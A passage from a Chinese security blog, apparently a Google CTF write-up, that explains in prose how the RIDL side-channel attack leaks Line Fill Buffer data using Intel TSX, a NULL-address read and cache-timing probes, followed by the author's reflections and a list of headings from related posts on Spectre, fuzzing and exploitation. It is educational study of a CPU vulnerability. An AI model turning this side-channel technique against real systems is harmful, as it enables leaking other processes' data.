xbegin指令标志tsx的开始，probe为前面的probetable字符转换表，为什么这里使用tsx技术，tsx最大优势就是所有操作都在cacheline里面完成，且尽可能少的对LFB产生影响，同时tsx可以抑制page fault的产生，执行后备路径。注意指令相当于NULL指针引用，是从虚拟地址0-63的读操作。在后备路径里面测量访存周期，多次命中取最大值，输出字符。

3.4 思考

完成对整个流程的概述，现在可以解释为什么用“Sampling”，因为尽管可以泄漏目标数据，但是在realworld里面，先不讨论是否符合攻击的前提，LFB上数据应该是很斑驳的，就需要筛选，所以这里用“Sampling”这个词。

整个流程看完，其实也不知道LFB为什么会leak数据，不知道LFB内部的entry构造和相应的算法，但是这两个攻击，都是实实在在的通过做实验来确定漏洞点和影响条件。这一点非常值得学习，其实我到现在对TSX的实现还是有些模糊，还有一篇TAA（TSX Asynchronous Abort）攻击手法，值得一看，进一步去了解TSX的实现。

4. 小结

以上的内容其实很多我自己的猜测和思考，我不是专业弄这个方面的，所以可能存在很多错误，google的题质量还是可以，做一道题要看几篇论文，从一无所知到了解里面的原理，这样我感觉才有意思，很有价值。最重要的是帮我消除了这几天的无聊和身在湖北的不安）

Abstract

0x00 文章的贡献点

0x01 CFI技术背景

0x02 在CFI下实现ROP

0x03 Do it at Realworld

0x04 Evaluation

0x05 Discussion

0x00 自动化

0x01 Fuzzing 论

0x02 评估和基准测试

自己的观点

0x00 贡献点：

0x01 在未读文章之前心里的几个问题：

0x02 通过阅读得到的答案

0x03 自身的感受

Abstract

Overview

Source-code Abstractions

Ceneral Abstractions

引

overview

solutions

线程的保存

全局变量的保存

线程相关全局变量

0x00 引

0x01 漏洞点和两个基础原语

0x02 任意读写原语

0x03 利用过程

0x04 一个小问题

about

背景

前人工作的方法和不足

挑战和解决思路

GreyOne的流程图

Fuzzing-driven Taint Inference (FTI)

0x01 Overview

0x02 从直觉出发

0x03 形式化的表示 （推理规则

0x04 与指令级别的taint analysis的区别

0x05 Taint inference具体细节

0x06 识别可以直接复制的输入值

Taint-Guided Mutation

Conformance-Guided Evolution（基于适应性指导的进化策略

关于应用方面

Evaluation

漏洞发现

深度分析

相关的研究

感谢宫老师从大学开始的相遇相知，愿意指导我系统的总结论文！

TL;DR

0x00 整体架构

0x01 Generator

Hook include

插桩

语料&&输入队列

输入变异和交叉

0x01 delivery

0x02 monitor

0x03 思考

1. 关于

2. Spectre

2.1 前置知识

2.1.1 乱序执行 (Out of Order Execution)

2.1.2 推测执行 (Speculative Execution)

2.1.3 分支预测 (Branch Prediction Unit)

2.1.4 访存周期

2.2 攻击流程

2.2.1 基础设施

2.2.2 具体的攻击流程

2.2.3 思考

3. RIDL(Rogue In-Flight Data Load)

3.1 基础设施

3.1.1 intel TSX

3.1.2 L1d Cache的组成

3.1.3 Line fill buffers (LFB)

3.2 猜测与实验

3.3 攻击流程

3.4 思考

4. 小结

0x03 形式化的表示（推理规则